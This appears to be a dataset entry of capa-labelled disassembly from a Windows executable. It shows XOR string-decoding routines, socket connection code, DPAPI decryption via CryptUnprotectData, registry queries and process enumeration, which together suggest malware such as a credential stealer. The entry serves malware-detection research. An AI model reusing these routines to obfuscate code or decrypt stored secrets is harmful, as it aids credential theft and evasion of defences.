joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416570
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4165c4
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00402870
mov dword [ebp - 0xd], 0xfffaf9d7
xor ecx, ecx
mov dword [ebp - 9], 0xcec4e8f3
mov dword [ebp - 5], 0xd7c1d3
mov byte [ebp - 1], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x4165f8
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x416610
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046bbf0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41670d
mov dword [ebp - 0xe], 0xecf8ecd4
xor ecx, ecx
mov dword [ebp - 0xa], 0xcccee3fe
mov dword [ebp - 6], 0xd2c6c1cd
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x416662
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416680
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046bbf0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41670d
mov dword [ebp - 0xb], 0xeec8d9d2
xor ecx, ecx
mov dword [ebp - 7], 0xc7d5c1fb
mov word [ebp - 3], 0xd1
mov byte [ebp - 1], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x4166c2
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4166e0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046bbf0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41670d
xor bl, bl
jmp 0x41670f
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x41673c
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x416732
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416745
push ecx
push edi
call fcn.004dd831
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e2ad0
int3
Function at 0x418260
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2e], 0
je 0x418282
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x2d
jb 0x418270
mov byte [esi + 0x2e], 0
mov eax, esi
pop esi
ret
Function at 0x41de50
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x41de72
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x41de60
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
ret

Function at 0x41de80
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x41dea2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x41de90
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
ret

Function at 0x41df40
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41e046
push eax
push 0x1308
call fcn.00407d60
push 0
push 0x1370
movzx eax, byte [eax + 0x536ee8]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00407d60
add esp, 0x10
cmp esi, eax
jne 0x41dfae
cmp dword [esp + 0x10], edx
je 0x41e046
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41e040
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41e054
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41e040
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41e050
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41e004
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41e040
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f4f0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5051b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x24
push esi
push 0x5370a4
mov dword [ebp - 4], 0
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x41f696
mov dword [ebp - 0x1c], 0xe2cdddd6
xor ecx, ecx
mov word [ebp - 0x18], 0xc3
mov byte [ebp - 0x16], 1
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41f550
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f568
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41f69c
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x19]
lea ecx, [ebp - 0x34]
call fcn.0046dfc0
mov byte [ebp - 4], 1
mov eax, dword [0x53719c]
cmp eax, dword [0x5371a0]
je 0x41f5d5
movups xmm0, xmmword [ebp - 0x34]
mov ecx, 0xf
mov byte [ebp - 0x34], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [eax + 0x10], xmm0
add dword [0x53719c], 0x18
jmp 0x41f5e7
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x537198
call fcn.00473170
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x41f61c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f612
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f6a1
push ecx
push edx
call fcn.004dd831
add esp, 8
push 0x5370a4
call fcn.004dcb43
mov esi, dword [0x534aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.00466580
mov edx, 0x2714
mov ecx, esi
call fcn.0041e440
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test al, al
setne al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x41f684
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f677
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f6a1
push ecx
push edx
call fcn.004dd831
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
int3
Function at 0x41f8e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5051f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x28
push esi
push edi
push 0
push 0x3076
mov dword [ebp - 4], 1
call fcn.00407d60
mov edi, eax
mov dword [ebp - 0x1c], 0xb4e1b6e7
mov eax, dword [0x534aac]
add esp, 8
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov word [ebp - 0x18], 0xe3
mov byte [ebp - 0x16], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41f944
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f960
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41faac
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
call fcn.0046dfc0
sub esp, 0x18
mov byte [ebp - 4], 2
mov esi, esp
lea eax, [ebx + 0x20]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1c], esi
push eax
call fcn.00466300
mov ecx, dword [ebp - 0x14]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov edx, edi
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0041e440
mov ecx, dword [ebp - 0x20]
add esp, 0x18
cmp ecx, 0x10
jb 0x41fa27
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fa1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fab1
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x41fa57
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fa4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fab6
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x41fa99
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fa8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fab6
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
int3
Function at 0x420370
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x4203b9
add esi, 0x10
cmp esi, 0x800
jbe 0x420390
cmp esi, 0x800
jae 0x4203de
push 0x800
call fcn.004ec24c
mov edi, eax
add esp, 4
test edi, edi
jne 0x4203e6
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004df810
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004df290
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402870
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.00466400
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x420478
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42046e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420493
push ecx
push edx
call fcn.004dd831
add esp, 8
push edi
call fcn.004ebaf6
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004e2ad0
int3
Function at 0x424ab0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x424ad2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x424ac0
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
ret
Function at 0x4288c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x86], 0
je 0x4288e7
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x85
jb 0x4288d0
mov byte [esi + 0x86], 0
mov eax, esi
pop esi
ret

Function at 0x4288f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x428912
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x428900
mov byte [esi + 0x57], 0
mov eax, esi
pop esi
ret
Function at 0x42aae0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x66], 0
je 0x42ab02
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x65
jb 0x42aaf0
mov byte [esi + 0x66], 0
mov eax, esi
pop esi
ret
Function at 0x436920
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4b], 0
je 0x436942
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x436930
mov byte [esi + 0x4b], 0
mov eax, esi
pop esi
ret
Function at 0x439010
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2a], 0
je 0x439032
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x29
jb 0x439020
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
ret
Function at 0x43f140
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5079dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
push 0xff
call fcn.004ec24c
push 0xff
mov edi, eax
push 0
push edi
call fcn.004df810
push 0xff
call fcn.004ec24c
push 0xff
push 0
push eax
mov dword [ebp - 0x18], eax
call fcn.004df810
movaps xmm0, xmmword [0x527410]
add esp, 0x20
movups xmmword [ebp - 0x64], xmm0
xor ecx, ecx
mov dword [ebp - 0x44], 0xe2d3d9cb
movaps xmm0, xmmword [0x527260]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0xafacafdc
mov dword [ebp - 0x3c], 0xa1aaa2
mov byte [ebp - 0x38], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x2b
jb 0x43f1d8
lea eax, [ebp - 0x14]
mov byte [ebp - 0x38], 0
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43f340
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xff
push eax
push edi
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x43f340
mov ecx, edi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x34], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f248
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x34]
call fcn.00402870
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, 1
jb 0x43f355
lea ecx, [eax - 5]
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
inc eax
lea ecx, [ebp - 0x50]
push eax
call fcn.00402870
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmovae ecx, esi
add eax, 0xffffffef
push eax
push ecx
push dword [ebp - 0x18]
call fcn.004df290
mov eax, dword [ebp - 0x3c]
add esp, 0xc
cmp eax, 0x10
jb 0x43f2f1
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x43f2e7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f35a
push ecx
push esi
call fcn.004dd831
add esp, 8
push edi
call fcn.004ebaf6
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x43f32a
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f320
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f35f
push ecx
push edx
call fcn.004dd831
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00469b40
call fcn.004e2ad0
call fcn.004e2ad0
int3
Function at 0x442330
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4423d4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4423cd
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x44237a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4423a0
test dl, dl
je 0x44239c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4423a0
add ecx, 2
add eax, 2
test dl, dl
jne 0x442380
xor eax, eax
jmp 0x4423a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4423c9
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x442370
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4423e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507d8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x50
push esi
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
push edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x2b], 0xfff8e8e8
mov dword [ebp - 0x27], 0xdac48ef2
mov word [ebp - 0x23], 0xc6
mov byte [ebp - 0x21], 1
nop dword [eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x442460
xorps xmm0, xmm0
mov byte [ebp - 0x21], 0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x442490
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402870
lea ecx, [ebp - 0x5c]
call fcn.00442330
mov ecx, dword [ebp - 0x48]
mov edi, eax
cmp ecx, 0x10
jb 0x4424e4
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4424da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44260e
push ecx
push edx
call fcn.004dd831
add esp, 8
test edi, edi
je 0x4425f9
cmp edi, 0xea60
jae 0x4425f9
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov edx, edi
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x18], 3
call fcn.00441d40
xor ecx, ecx
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x28]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x442596
xor esi, esi
nop
lea eax, [edi + esi]
lea ecx, [ebp - 0x44]
cmp ecx, eax
je 0x442572
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x442565
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00466160
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x14]
sub ecx, edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x14], eax
jb 0x442550
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00468770
cmp dword [ebp - 0x34], 0
jbe 0x4425c9
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x44]
push ecx
cmp eax, dword [esi + 8]
je 0x4425c1
mov ecx, eax
call fcn.00466580
add dword [esi + 4], 0x18
jmp 0x4425c9
push eax
mov ecx, esi
call fcn.00473290
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x4425f9
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4425ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44260e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2ad0
int3
Function at 0x445300
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1e], 0
je 0x445322
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x1d
jb 0x445310
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
ret

Function at 0x445330
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x37], 0
je 0x445352
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x36
jb 0x445340
mov byte [esi + 0x37], 0
mov eax, esi
pop esi
ret